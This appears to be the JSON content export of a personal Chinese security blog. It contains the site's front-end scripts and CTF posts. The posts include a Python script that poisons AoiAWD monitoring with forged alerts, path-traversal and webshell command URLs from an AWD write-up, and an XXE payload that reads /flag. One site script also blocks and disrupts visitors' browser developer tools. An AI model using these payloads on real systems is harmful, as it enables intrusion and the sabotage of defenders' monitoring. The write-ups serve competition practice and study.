-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcontent.json
1 lines (1 loc) · 148 KB
/
content.json
1
{"meta":{"title":"s1rius' space","subtitle":"天狼的个人空间","description":"欢迎来到天狼的个人空间</br>这里有网络安全和其他技术文章","author":"s1rius","url":"http://s1rius.space","root":"/"},"pages":[{"title":"bangumi","date":"2019-02-10T13:32:48.000Z","updated":"2022-11-22T14:27:58.708Z","comments":false,"path":"bangumis/index.html","permalink":"http://s1rius.space/bangumis/index.html","excerpt":"","text":""},{"title":"categories","date":"2022-11-23T05:57:05.000Z","updated":"2022-11-23T06:36:55.754Z","comments":false,"path":"categories/index.html","permalink":"http://s1rius.space/categories/index.html","excerpt":"","text":""},{"title":"comment","date":"2018-12-20T15:13:48.000Z","updated":"2021-11-09T14:13:18.000Z","comments":true,"path":"comment/index.html","permalink":"http://s1rius.space/comment/index.html","excerpt":"","text":"念两句诗 叙别梦、扬州一觉。 【宋代】吴文英《夜游宫·人去西楼雁杳》"},{"title":"analytics","date":"2022-09-03T04:27:32.000Z","updated":"2022-09-03T04:32:50.000Z","comments":false,"path":"analytics/index.html","permalink":"http://s1rius.space/analytics/index.html","excerpt":"","text":""},{"title":"about me","date":"2018-12-12T14:14:36.000Z","updated":"2024-06-07T10:20:42.695Z","comments":false,"path":"about/index.html","permalink":"http://s1rius.space/about/index.html","excerpt":"","text":"s1rius CTFer web萌新 男(单身) 03年 21级 以web为主,也会些misc 会打羽毛球,军迷,对天文也有兴趣"},{"title":"","date":"2023-09-15T09:34:42.480Z","updated":"2023-08-11T07:27:43.208Z","comments":true,"path":"custom/footer.js","permalink":"http://s1rius.space/custom/footer.js","excerpt":"","text":"/* 用于托管 footer 上的一些会随着时间改变的内容 footer 上的 HTML 内容: 白天的: 小破站在各种灾难中苟活了 欢迎参观我的 Space✨ 人若无名,便可专心练剑🗡 本网站由提供CDN加速服务 晚上的: 小破站在各种灾难中苟活了 欢迎参观我的 Space✨ 本网站由提供CDN加速服务 */ (function (outerDocument) { // 博客从现在距创建时间 let blogCreateTime = Date.now() - 1638288000000; // 白天和晚上时 footer 上的内容: const footerDay = `小破站在各种灾难中苟活了欢迎参观我的Space✨人若无名,便可专心练剑🗡本网站由提供CDN加速服务`; const footerNight = `小破站在各种灾难中苟活了欢迎参观我的Space✨本网站由提供CDN加速服务`; // 生成类似 xxx 天 x 小时 x 分钟 x 秒 的字符串 function getBlogAgeString() { let days = Math.floor(blogCreateTime / 86400000); let hours = Math.floor((blogCreateTime % 86400000) / 3600000); let minutes = Math.floor((blogCreateTime % 3600000) / 60000); let seconds = Math.floor((blogCreateTime % 60000) / 1000); return `${days} 天 ${hours} 小时 ${minutes} 分钟 ${seconds} 秒`; } // 根据时间将 footer 上的内容改为白天或晚上的 let hoursNow = new Date().getHours(); if (hoursNow >= 6 && hoursNow"},{"title":"donate","date":"2022-12-20T15:13:05.000Z","updated":"2022-08-29T05:14:44.000Z","comments":false,"path":"donate/index.html","permalink":"http://s1rius.space/donate/index.html","excerpt":"","text":""},{"title":"","date":"2023-09-15T09:34:42.481Z","updated":"2023-08-11T07:27:30.580Z","comments":true,"path":"custom/nav.js","permalink":"http://s1rius.space/custom/nav.js","excerpt":"","text":"document.addEventListener(\"pjax:complete\", tonav); document.addEventListener(\"DOMContentLoaded\", tonav); //响应pjax function tonav() { document .getElementById(\"name-container\") .setAttribute(\"style\", \"display:none\"); var position = $(window).scrollTop(); $(window).scroll(function () { var scroll = $(window).scrollTop(); if (scroll > position) { document.getElementById(\"name-container\").setAttribute(\"style\", \"\"); document .getElementsByClassName(\"menus_items\")[1] .setAttribute(\"style\", \"display:none!important\"); } else { document .getElementsByClassName(\"menus_items\")[1] .setAttribute(\"style\", \"\"); document .getElementById(\"name-container\") .setAttribute(\"style\", \"display:none\"); } position = scroll; }); //修复没有弄右键菜单的童鞋无法回顶部的问题 document.getElementById(\"page-name\").innerText = document.title.split(\" | Fomalhaut🥝\")[0]; } function scrollToTop() { document.getElementsByClassName(\"menus_items\")[1].setAttribute(\"style\", \"\"); document .getElementById(\"name-container\") .setAttribute(\"style\", \"display:none\"); btf.scrollToDest(0, 500); }"},{"title":"","date":"2023-09-15T09:34:42.481Z","updated":"2023-08-11T07:27:27.559Z","comments":true,"path":"custom/readPercent.js","permalink":"http://s1rius.space/custom/readPercent.js","excerpt":"","text":"window.onscroll = percent; // 执行函数 // 页面百分比 function percent() { let a = document.documentElement.scrollTop || window.pageYOffset, // 卷去高度 b = Math.max( document.body.scrollHeight, document.documentElement.scrollHeight, document.body.offsetHeight, document.documentElement.offsetHeight, document.body.clientHeight, document.documentElement.clientHeight ) - document.documentElement.clientHeight, // 整个网页高度 result = Math.round((a / b) * 100), // 计算百分比 up = document.querySelector(\"#go-up\"); // 获取按钮 if (result"},{"title":"","date":"2024-06-06T12:54:04.111Z","updated":"2024-06-06T12:54:04.111Z","comments":true,"path":"custom/welcome.js","permalink":"http://s1rius.space/custom/welcome.js","excerpt":"","text":"//首次访问弹窗 if (localStorage.getItem(\"popWelcomeWindow\") != \"0\") { if ( document.referrer == undefined || document.referrer.indexOf(\"s1rius.space\") != -1 || document.referrer.indexOf(\"cns1rius.space\") != -1 || document.referrer.indexOf(\"s1rius.vercel.app\") != -1 ) { //改成自己域名,注意是referrer!!! qwq Snackbar.show({ pos: \"top-right\", showAction: false, text: \"欢迎访问本站!\", }); } else { Snackbar.show({ pos: \"top-right\", showAction: false, text: `欢迎来自${ document.referrer.split(\"://\")[1].split(\"/\")[0] }的童鞋访问本站!`, }); localStorage.setItem(\"popWelcomeWindow\", \"0\"); } } if (sessionStorage.getItem(\"popCookieWindow\") != \"0\") { setTimeout(function () { Snackbar.show({ text: \"本站使用Cookie和本地/会话存储保证浏览体验和网站统计\", pos: \"bottom-right\", actionText: \"查看博客声明\", onActionClick: function (element) { window.open(\"/license\"); }, }); }, 3000); } //不在弹出Cookie提醒 sessionStorage.setItem(\"popCookieWindow\", \"0\"); //自带上文浏览器提示 function browserTC() { btf.snackbarShow(\"\"); Snackbar.show({ text: \"浏览器版本较低,网站样式可能错乱\", actionText: \"关闭\", duration: \"6000\", pos: \"bottom-right\", }); } function browserVersion() { var userAgent = navigator.userAgent; //取得浏览器的userAgent字符串 var isIE = userAgent.indexOf(\"compatible\") > -1 && userAgent.indexOf(\"MSIE\") > -1; //判断是否IE -1 && userAgent.indexOf(\"rv:11.0\") > -1; var isEdge = userAgent.indexOf(\"Edge\") > -1 && !isIE; //Edge浏览器 var isFirefox = userAgent.indexOf(\"Firefox\") > -1; //Firefox浏览器 var isOpera = userAgent.indexOf(\"Opera\") > -1 || userAgent.indexOf(\"OPR\") > -1; //Opera浏览器 var isChrome = userAgent.indexOf(\"Chrome\") > -1 && userAgent.indexOf(\"Safari\") > -1 && userAgent.indexOf(\"Edge\") == -1 && userAgent.indexOf(\"OPR\") == -1; //Chrome浏览器 var isSafari = userAgent.indexOf(\"Safari\") > -1 && userAgent.indexOf(\"Chrome\") == -1 && userAgent.indexOf(\"Edge\") == -1 && userAgent.indexOf(\"OPR\") == -1; //Safari浏览器 if (isEdge) { if (userAgent.split(\"Edge/\")[1].split(\".\")[0] < 90) { browserTC(); } } else if (isFirefox) { if (userAgent.split(\"Firefox/\")[1].split(\".\")[0] < 90) { browserTC(); } } else if (isOpera) { if (userAgent.split(\"OPR/\")[1].split(\".\")[0] < 80) { browserTC(); } } else if (isChrome) { if (userAgent.split(\"Chrome/\")[1].split(\".\")[0] < 90) { browserTC(); } } else if (isSafari) { //不知道Safari哪个版本是该淘汰的老旧版本 } } //2022-10-29修正了一个错误:过期时间应使用toGMTString(),而不是toUTCString(),否则实际过期时间在中国差了8小时 function setCookies(obj, limitTime) { let data = new Date( new Date().getTime() + limitTime * 24 * 60 * 60 * 1000 ).toGMTString(); for (let i in obj) { document.cookie = i + \"=\" + obj[i] + \";expires=\" + data; } } function getCookie(name) { var arr, reg = new RegExp(\"(^| )\" + name + \"=([^;]*)(;|$)\"); if ((arr = document.cookie.match(reg))) return unescape(arr[2]); else return null; } if (getCookie(\"browsertc\") != 1) { setCookies( { browsertc: 1, }, 1 ); browserVersion(); } var now1 = new Date(); function createtime1() { var grt = new Date(\"08/09/2022 00:00:00\"); //此处修改你的建站时间或者网站上线时间 now1.setTime(now1.getTime() + 250); var days = (now1 - grt) / 1000 / 60 / 60 / 24; var dnum = Math.floor(days); var ascll = [ `欢迎来到s1rius' blog!`, `Have fun 🍭🍭🍭`, ` __ / \\\\ __ ____ /\\\\_ \\\\ _ __ /\\\\_\\\\ __ __ ____ /',__\\\\\\\\/_/\\\\ \\\\ /\\\\ '__\\\\\\\\/\\\\ \\\\ /\\\\ \\\\/\\\\ \\\\ / ',__\\\\ /\\\\__, \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\/ \\\\ \\\\ \\\\\\\\ \\\\ \\\\_\\\\ \\\\/\\\\__, \\\\ \\\\/\\\\____/ \\\\ \\\\_\\\\\\\\ \\\\_\\\\ \\\\ \\\\_\\\\\\\\ \\\\____/\\\\/\\\\____/ \\\\/___/ \\\\/_/ \\\\/_/ \\\\/_/ \\\\/___/ \\\\/___/ `, \"小站已经苟活\", dnum, \"天啦!\", \"©2021 By s1rius\", ]; setTimeout( console.log.bind( console, `\\n%c${ascll[0]} %c ${ascll[1]} %c ${ascll[2]} %c${ascll[3]}%c ${ascll[4]}%c ${ascll[5]}\\n\\n%c ${ascll[6]}\\n`, \"color:#00a3d9\", \"\", \"color:#4ea1e1\", \"color:#00a3d9\", \"\", \"color:#00a3d9\", \"\" ) ); setTimeout( console.warn.bind( console, \"%c S013-782 %c 你现在正处于监控中\", \"color:white; background-color:#d9534f\", \"\" ) ); } createtime1(); // 重写console方法 console.log = function () {}; console.error = function () {}; console.warn = function () {}; // 阻止特定键盘事件 document.addEventListener( \"keydown\", function (e) { if ( (e.ctrlKey && e.shiftKey && [\"I\", \"J\", \"C\", \"i\", \"j\", \"c\"].includes(e.key)) || (e.ctrlKey && [\"u\", \"U\"].includes(e.key)) || e.key === \"F12\" ) { e.preventDefault(); btf.snackbarShow(\"你真坏,不能打开控制台喔!\"); return false; } }, true ); // 阻止Ctrl+鼠标右键 document.addEventListener( \"contextmenu\", function (e) { if (e.ctrlKey) { e.preventDefault(); btf.snackbarShow(\"你真坏,不能打开控制台喔!\"); } }, true ); (function () { var callbacks = [], timeLimit = 50, open = false; setInterval(loop, 1); return { addListener: function (fn) { callbacks.push(fn); }, cancleListenr: function (fn) { callbacks = callbacks.filter(function (v) { return v !== fn; }); }, }; function loop() { var startTime = new Date(); debugger; if (new Date() - startTime > timeLimit) { if (!open) { callbacks.forEach(function (fn) { fn.call(null); }); } open = true; window.stop(); alert(\"你真坏,请关闭控制台!\"); document.body.innerHTML = \"\"; } else { open = false; } } })().addListener(function () { window.location.reload(); }); function toDevtools() { let num = 0; let devtools = new Date(); devtools.toString = function () { num++; if (num > 1) { alert(\"你真坏,请关闭控制台!\"); window.location.href = \"about:blank\"; blast(); } }; console.log(\"\", devtools); } toDevtools();"},{"title":"友情链接","date":"2022-10-28T04:00:00.000Z","updated":"2022-11-23T07:02:33.703Z","comments":true,"path":"link/index.html","permalink":"http://s1rius.space/link/index.html","excerpt":"","text":""},{"title":"rss","date":"2018-12-20T15:09:03.000Z","updated":"2022-11-23T05:58:44.510Z","comments":true,"path":"rss/index.html","permalink":"http://s1rius.space/rss/index.html","excerpt":"","text":""},{"title":"","date":"2023-09-15T09:34:42.481Z","updated":"2023-08-11T07:27:25.078Z","comments":true,"path":"custom/rightmenu.js","permalink":"http://s1rius.space/custom/rightmenu.js","excerpt":"","text":"//22.12.8 update:add mask //22.12.9 update: add search in this page function setMask() { //设置遮罩层 if (document.getElementsByClassName(\"rmMask\")[0] != undefined) { return document.getElementsByClassName(\"rmMask\")[0]; } mask = document.createElement(\"div\"); mask.className = \"rmMask\"; mask.style.width = window.innerWidth + \"px\"; mask.style.height = window.innerHeight + \"px\"; mask.style.background = \"#fff\"; mask.style.opacity = \".0\"; mask.style.position = \"fixed\"; mask.style.top = \"0\"; mask.style.left = \"0\"; mask.style.zIndex = 998; document.body.appendChild(mask); document.getElementById(\"rightMenu\").style.zIndex = 19198; return mask; } function insertAtCursor(myField, myValue) { //IE 浏览器 if (document.selection) { myField.focus(); sel = document.selection.createRange(); sel.text = myValue; sel.select(); } //FireFox、Chrome等 else if (myField.selectionStart || myField.selectionStart == \"0\") { var startPos = myField.selectionStart; var endPos = myField.selectionEnd; // 保存滚动条 var restoreTop = myField.scrollTop; myField.value = myField.value.substring(0, startPos) + myValue + myField.value.substring(endPos, myField.value.length); if (restoreTop > 0) { myField.scrollTop = restoreTop; } myField.focus(); myField.selectionStart = startPos + myValue.length; myField.selectionEnd = startPos + myValue.length; } else { myField.value += myValue; myField.focus(); } } let rmf = {}; rmf.showRightMenu = function (isTrue, x = 0, y = 0) { let $rightMenu = $(\"#rightMenu\"); $rightMenu.css(\"top\", x + \"px\").css(\"left\", y + \"px\"); if (isTrue) { $rightMenu.show(); } else { $rightMenu.hide(); } }; rmf.switchDarkMode = function () { const nowMode = document.documentElement.getAttribute(\"data-theme\") === \"dark\" ? \"dark\" : \"light\"; if (nowMode === \"light\") { activateDarkMode(); saveToLocal.set(\"theme\", \"dark\", 2); GLOBAL_CONFIG.Snackbar !== undefined && btf.snackbarShow(GLOBAL_CONFIG.Snackbar.day_to_night); } else { activateLightMode(); saveToLocal.set(\"theme\", \"light\", 2); GLOBAL_CONFIG.Snackbar !== undefined && btf.snackbarShow(GLOBAL_CONFIG.Snackbar.night_to_day); } // handle some cases typeof utterancesTheme === \"function\" && utterancesTheme(); typeof FB === \"object\" && window.loadFBComment(); window.DISQUS && document.getElementById(\"disqus_thread\").children.length && setTimeout(() => window.disqusReset(), 200); }; rmf.yinyong = function () { var e = document.getElementsByClassName(\"el-textarea__inner\")[0], t = document.createEvent(\"HTMLEvents\"); t.initEvent(\"input\", !0, !0), (e.value = d.value = \"> \" + getSelection().toString() + \"\\n\\n\"), e.dispatchEvent(t); console.log(getSelection().toString()); document.getElementsByClassName(\"el-textarea__inner\")[0].value = \"> \" + getSelection().toString() + \"\\n\\n\"; Snackbar.show({ text: \"为保证最佳评论阅读体验,建议不要删除空行\", pos: \"top-center\", showAction: false, }); }; rmf.copyWordsLink = function () { let url = window.location.href; let txa = document.createElement(\"textarea\"); txa.value = url; document.body.appendChild(txa); txa.select(); document.execCommand(\"Copy\"); document.body.removeChild(txa); Snackbar.show({ text: \"链接复制成功!快去分享吧!\", pos: \"top-right\", showAction: false, }); }; rmf.switchReadMode = function () { const $body = document.body; $body.classList.add(\"read-mode\"); const newEle = document.createElement(\"button\"); newEle.type = \"button\"; newEle.className = \"fas fa-sign-out-alt exit-readmode\"; $body.appendChild(newEle); function clickFn() { $body.classList.remove(\"read-mode\"); newEle.remove(); newEle.removeEventListener(\"click\", clickFn); } newEle.addEventListener(\"click\", clickFn); }; //复制选中文字 rmf.copySelect = function () { document.execCommand(\"Copy\", false, null); //这里可以写点东西提示一下 已复制 }; //回到顶部 rmf.scrollToTop = function () { document.getElementsByClassName(\"menus_items\")[1].setAttribute(\"style\", \"\"); document .getElementById(\"name-container\") .setAttribute(\"style\", \"display:none\"); btf.scrollToDest(0, 500); }; rmf.translate = function () { document.getElementById(\"translateLink\").click(); }; rmf.searchinThisPage = () => { document.body.removeChild(mask); document.getElementsByClassName(\"local-search-box--input\")[0].value = window .getSelection() .toString(); document.getElementsByClassName(\"search\")[0].click(); var evt = document.createEvent(\"HTMLEvents\"); evt.initEvent(\"input\", false, false); document .getElementsByClassName(\"local-search-box--input\")[0] .dispatchEvent(evt); }; document.body.addEventListener(\"touchmove\", function (e) {}, { passive: false, }); function popupMenu() { //window.oncontextmenu=function(){return false;} window.oncontextmenu = function (event) { if (event.ctrlKey) return true; $(\".rightMenu-group.hide\").hide(); if (document.getSelection().toString()) { $(\"#menu-text\").show(); } if (document.getElementById(\"post\")) { $(\"#menu-post\").show(); } if (document.getElementById(\"body-wrap\")) { $(\"#menu-post\").show(); } else { if (document.getElementById(\"page\")) { $(\"#menu-post\").show(); } } var el = window.document.body; el = event.target; var a = /^(?:http(s)?:\\/\\/)?[\\w.-]+(?:\\.[\\w\\.-]+)+[\\w\\-\\._~:/?#[\\]@!\\$&'\\*\\+,;=.]+$/; if (a.test(window.getSelection().toString()) && el.tagName != \"A\") { $(\"#menu-too\").show(); } if (el.tagName == \"A\") { $(\"#menu-to\").show(); rmf.open = function () { if ( (el.href.indexOf(\"http://\") == -1 && el.href.indexOf(\"https://\") == -1) || el.href.indexOf(\"s1rius.space\") != -1 ) { pjax.loadUrl(el.href); } else { location.href = el.href; } }; rmf.openWithNewTab = function () { window.open(el.href); // window.location.reload(); }; rmf.copyLink = function () { let url = el.href; let txa = document.createElement(\"textarea\"); txa.value = url; document.body.appendChild(txa); txa.select(); document.execCommand(\"Copy\"); document.body.removeChild(txa); }; } if (el.tagName == \"IMG\") { $(\"#menu-img\").show(); rmf.openWithNewTab = function () { window.open(el.src); // window.location.reload(); }; rmf.click = function () { el.click(); }; rmf.copyLink = function () { let url = el.src; let txa = document.createElement(\"textarea\"); txa.value = url; document.body.appendChild(txa); txa.select(); document.execCommand(\"Copy\"); document.body.removeChild(txa); }; rmf.saveAs = function () { var a = document.createElement(\"a\"); var url = el.src; var filename = url.split(\"/\")[-1]; a.href = url; a.download = filename; a.click(); window.URL.revokeObjectURL(url); }; } else if (el.tagName == \"TEXTAREA\" || el.tagName == \"INPUT\") { $(\"#menu-paste\").show(); // rmf.paste=function(){ // input.addEventListener('paste', async event => { // event.preventDefault(); // const text = await navigator.clipboard.readText(); // el.value+=text; // }); // } rmf.paste = function () { navigator.permissions .query({ name: \"clipboard-read\", }) .then((result) => { if (result.state == \"granted\" || result.state == \"prompt\") { //读取剪贴板 navigator.clipboard.readText().then((text) => { console.log(text); insertAtCursor(el, text); }); } else { Snackbar.show({ text: \"请允许读取剪贴板!\", pos: \"top-center\", showAction: false, }); } }); }; } let pageX = event.clientX + 10; let pageY = event.clientY; let rmWidth = $(\"#rightMenu\").width(); let rmHeight = $(\"#rightMenu\").height(); if (pageX + rmWidth > window.innerWidth) { pageX -= rmWidth + 10; } if (pageY + rmHeight > window.innerHeight) { pageY -= pageY + rmHeight - window.innerHeight; } mask = setMask(); window.onscroll = () => { rmf.showRightMenu(false); window.onscroll = () => {}; //document.removeChild(mask); }; $(\".rightMenu-item\").click(() => { document.body.removeChild(mask); }); $(window).resize(() => { rmf.showRightMenu(false); //document.body.removeChild(mask); }); mask.onclick = () => { document.body.removeChild(mask); }; rmf.showRightMenu(true, pageY, pageX); return false; }; window.addEventListener(\"click\", function () { rmf.showRightMenu(false); }); } if ( !navigator.userAgent.match( /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i ) ) { popupMenu(); } const box = document.documentElement; function addLongtabListener(target, callback) { let timer = 0; // 初始化timer target.ontouchstart = () => { timer = 0; // 重置timer timer = setTimeout(() => { callback(); timer = 0; }, 380); // 超时器能成功执行,说明是长按 }; target.ontouchmove = () => { clearTimeout(timer); // 如果来到这里,说明是滑动 timer = 0; }; target.ontouchend = () => { // 到这里如果timer有值,说明此触摸时间不足380ms,是点击 if (timer) { clearTimeout(timer); } }; } addLongtabListener(box, popupMenu);"},{"title":"分类","date":"2018-12-12T14:14:16.000Z","updated":"2022-11-23T06:35:36.744Z","comments":false,"path":"tags/index.html","permalink":"http://s1rius.space/tags/index.html","excerpt":"","text":""}],"posts":[{"title":"AoiAWD反制脚本","slug":"untiAoi","date":"2024-05-16T12:14:57.150Z","updated":"2024-05-20T09:25:39.316Z","comments":true,"path":"2024/05/untiAoi/","permalink":"http://s1rius.space/2024/05/untiAoi/","excerpt":"","text":"AoiAWD 反制脚本起因在经历过 awd 比赛中 AoiAWD 多次崩溃后(长城杯 虽然最后还是进决赛摸鱼了) 赛后研究了一下 开发了这个反制脚本 由于打点队友喜欢用 gogo 所以这个脚本支持 gogo 扫描结果 思路发现后端未验证来自靶机的数据 因此存在脏数据污染 针对此开发脚本 可向 AoiAWD 的各个数据展示页面投放脏数据 包括告警页面 脚本再此公布本脚本,希望下次 awd 遇见的时候别打我,谢谢 QAQ 12345678910111213141516171819202122232425262728293031323334353637383940414243import reimport socketf = open("./ip.txt", "r+")url_list = f.readlines()for i in url_list: pattern = r"tcp://(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d+)" match = re.search(pattern, i, 0) if match: i = match.group(0).split("//")[1] p = int(i.split(":")[1]) i = i.split(":")[0] server_address = (i, p) # 替换SERVER_IP和SERVER_PORT为实际值 data = '{"type":"ping"}\\n' data2 = '{"type":"new_process","data":{"pid":"114514","ppid":"114514","uid":"0","username":"root","cmd":"rm -rf /*","param":"su root rm -rf /*"}}\\n' data3 = '{"type":"file","data":{"path":"/update/score_points","mode":33188,"event":256,"size":114514,"content":"ZmxhZ3tDcmF6eV9UaHVydGhkYXlfdl9tZV81MH0="}}\\n' data4 = '{"type":"web","data":{"scipt":"/var/www/html/rce.php","method":"post","uri":"127.0.0.1/rce.php","remote":"127.0.0.1","buffer":"{\\\\"flag\\\\":\\\\"flag{Crazy_Thurthday_v_me_50}\\\\"}"}}\\n' data5 = '{"type":"pwn","data":{"file":"catflag","type":"stdin","pid":"123","maps":"su root rm -rf /*"}}\\n' data6 = '{"type":"pwn","data":{"file":"catflag","type":"stdin","pid":"123","maps":"su root rm -rf /*"}}\\n' data7 = '{"type":"file","data":{"path":"/114514","mode":33188,"event":256,"size":114514,"content":"c3Ugcm9vdCBybSAtcmYgLyo="}}\\n' with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: try: sock.settimeout(1) sock.connect(server_address) sock.sendall(data.encode("utf-8")) tmp = sock.recvfrom(1024) if "pong" in str(tmp): sock.sendall(data2.encode("utf-8")) sock.sendall(data3.encode("utf-8")) sock.sendall(data4.encode("utf-8")) for j in range(60): sock.sendall(data7.encode("utf-8")) sock.sendall(data6.encode("utf-8")) sock.sendall(data5.encode("utf-8")) print(f"[+] {i}\\n") sock.close() else: print( f"\\n[-] --------------------------------{i}-------------------------------------\\n" ) except Exception as e: print(f"An error occurred: {e}") Next由于分析了各个 AWD 防御工具(Aoi、wathbird 等) 决定模仿 aoi、并借鉴其他各个工具 重写一个基于 go(gin 或 iris 大概率会用 gin)的 AWD 监测防御系统 但是目前没有时间开发(别问,问就是鸽) 预计会在 2025 年 5 月问世 :) 如果师傅们有留存的各个 AWD 比赛的流量等数据 以及分析了解过官方 check 机制的师傅 以及有大量参加 AWD 经验的大师傅 欢迎联系本菜鸡","categories":[{"name":"awd","slug":"awd","permalink":"http://s1rius.space/categories/awd/"}],"tags":[{"name":"awd","slug":"awd","permalink":"http://s1rius.space/tags/awd/"},{"name":"AoiAWD","slug":"AoiAWD","permalink":"http://s1rius.space/tags/AoiAWD/"},{"name":"反制脚本","slug":"反制脚本","permalink":"http://s1rius.space/tags/%E5%8F%8D%E5%88%B6%E8%84%9A%E6%9C%AC/"}],"author":"s1rius"},{"title":"2024 长城杯铁人三项半决赛第二赛区 wp","slug":"awdwp","date":"2024-05-16T12:03:32.682Z","updated":"2024-11-08T12:11:02.312Z","comments":true,"path":"2024/05/awdwp/","permalink":"http://s1rius.space/2024/05/awdwp/","excerpt":"","text":"CFSmisc1备份文件泄露 下载后是流量包 流量包存在明文 flag (这里可能是非预期,预期是 aes 破解到 test 密码后,有个页面有个 flag) misc2流量里还有一个 flag.zip 导出后 爆破得密码为 123456 web存在 rce 查看解析目录后 echo 一句话木马进去 连接后 cat /flag 啥啥啥.txt flag get AWD题目附件备份: php java1 java2 phphook 流量发现一个 php 路径穿越 /frontend/ajax/getfile?file=../../../../../../flag.txt 修复: 将/和.等用于路径穿越的字符过滤置空 java1一个 java /forget.jsp?cmd1=cat+/flag.txt 修复 把 cmd1 字段改成复杂密码 使攻击者无法连接","categories":[{"name":"awd","slug":"awd","permalink":"http://s1rius.space/categories/awd/"}],"tags":[{"name":"awd","slug":"awd","permalink":"http://s1rius.space/tags/awd/"},{"name":"长城杯","slug":"长城杯","permalink":"http://s1rius.space/tags/%E9%95%BF%E5%9F%8E%E6%9D%AF/"},{"name":"铁人三项","slug":"铁人三项","permalink":"http://s1rius.space/tags/%E9%93%81%E4%BA%BA%E4%B8%89%E9%A1%B9/"}],"author":"s1rius"},{"title":"终端便捷ssh(免密)连接","slug":"免密ssh登录","date":"2023-07-06T12:36:46.922Z","updated":"2024-05-20T09:27:37.085Z","comments":true,"path":"2023/07/免密ssh登录/","permalink":"http://s1rius.space/2023/07/%E5%85%8D%E5%AF%86ssh%E7%99%BB%E5%BD%95/","excerpt":"","text":"普通 ssh 方法物理机 ssh 连接虚拟机 没基础的可以这样连:复杂 终端快捷 ssh复制's前面的打开终端设置 左侧添加新配置文件->添加新控制文件 然后填写第二行即命令行 1ssh 虚拟机登录用户名@虚拟机IP 其实就是 ssh 上面复制的 保存 即可在物理机终端快速打开 免密 ssh 登录在物理机运行: 1ssh-keygen 后面第一个路径回车 后面密码直接回车(即可实现免密码登录) 12345678910111213Your identification has been saved in C:\\Users\\ /.ssh/id_rsa.Your public key has been saved in C:\\Users\\ /.ssh/id_rsa.pub.The key fingerprint is:SHA256:ln6ZkrhHWH*********tRbGBeooF4g \\ @The key's randomart image is:+---[RSA 3072]----+| .o.*.+ ||.. o..+ * . ||***********. || *.o.o+.o ||. = +.o*S . || ********* |+----[SHA256]-----+ 找到第一行的那个目录,把 id_rsa.pub 文件复制到虚拟机 执行 12cat id_rsa.pub >> ~/.ssh/authorized_keyschmod 770 ~/.ssh/authorized_keys 报未找到.ssh 的话 要先运行ssh-keygen和在物理机设置一样 然后终端打开虚拟机就不用输密码了 报错情况仍需密码:传到虚拟机的 keygen 一定要是公钥 pub 连接超时过一段时间之后 连不上是 ip 未固定需将虚拟机 ip 固定桥接和 net 模式固定 IP 方式会抽空发到时候在这打个传送 12cat id_rsa.pub >> ~/.ssh/authorized_keyschmod 700 ~/.ssh/authorized_keys 报未找到.ssh 的话 要先运行ssh-keygen和在物理机设置一样 然后终端打开虚拟机就不用输密码了","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"ssh","slug":"ssh","permalink":"http://s1rius.space/tags/ssh/"}],"author":"s1rius"},{"title":"xxe","slug":"XXE","date":"2023-07-06T12:36:46.921Z","updated":"2024-05-20T08:47:27.824Z","comments":true,"path":"2023/07/XXE/","permalink":"http://s1rius.space/2023/07/XXE/","excerpt":"","text":"XXE发现输入的 username 被 alert 了查源码 1onclick = "XMLFunction()"; 抓包看 xml 格式回来看控制台发现 js 的 xml 应用 123456789101112131415161718192021<script type="text/javascript"> function XMLFunction(){ var xml = '' + '<?xml version="1.0" encoding="UTF-8"?>' + '<root>' + ' <username>' + $('#username').val() + '</username>' + ' <password>' + $('#password').val() + '</password>' + ' </root>'; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ console.log(xmlhttp.readyState); console.log(xmlhttp.responseText); alert(xmlhttp.responseText); } } xmlhttp.open("POST","login.php",true); xmlhttp.send(xml); }; </script> 构造 xxe 攻击这是 post 包传的时候记得把注释删去 12345678<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY flag SYSTEM "file:///flag"><!--构造实体-->]><root><username>&flag;</username><!--输出flag实体--><password>2333</password></root> flag{6866a844-3788-4a9d-9909-1d9d9943f56f} 123456789101112131415161718192021222324252627282930313233<?php/*** autor: c0ny1* date: 2018-2-7*/$USERNAME = 'admin'; //账号$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码$result = null;libxml_disable_entity_loader(false);$xmlfile = file_get_contents('php://input');try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); }}catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());}header('Content-Type: text/html; charset=utf-8');echo $result;?> 有 admin 密码了也没用藏内网了,上次比赛 ssrf 题出过 etc/hosts proc/net/arp","categories":[{"name":"web","slug":"web","permalink":"http://s1rius.space/categories/web/"}],"tags":[{"name":"web","slug":"web","permalink":"http://s1rius.space/tags/web/"},{"name":"xxe","slug":"xxe","permalink":"http://s1rius.space/tags/xxe/"},{"name":"buuctf","slug":"buuctf","permalink":"http://s1rius.space/tags/buuctf/"}],"author":"s1rius"},{"title":"xss-lab","slug":"xsslab","date":"2023-07-06T12:36:46.921Z","updated":"2024-05-20T09:27:37.109Z","comments":true,"path":"2023/07/xsslab/","permalink":"http://s1rius.space/2023/07/xsslab/","excerpt":"","text":"level 1没啥好说的直接 alert level 212345<input name=keyword value="test">//改后是<input name=keyword value="1111"><script>……>//1111"><script>……这是输入的部分前后闭合 level 3用了 htmlspeialchars()函数 <>”都被过滤二者都写可以 level 4和上面一样 level 5on 和 script 都被过滤这里用 javascript:伪协议出来的链接就是答案 level 6可以大小写绕过 level 7把特殊字符便空了可以双写绕过 level 8这关卡的死死的要编码绕过 level 9strpos 函数看是否有 http://验证是否为安全连接但是没有限定位置要编码下还要把 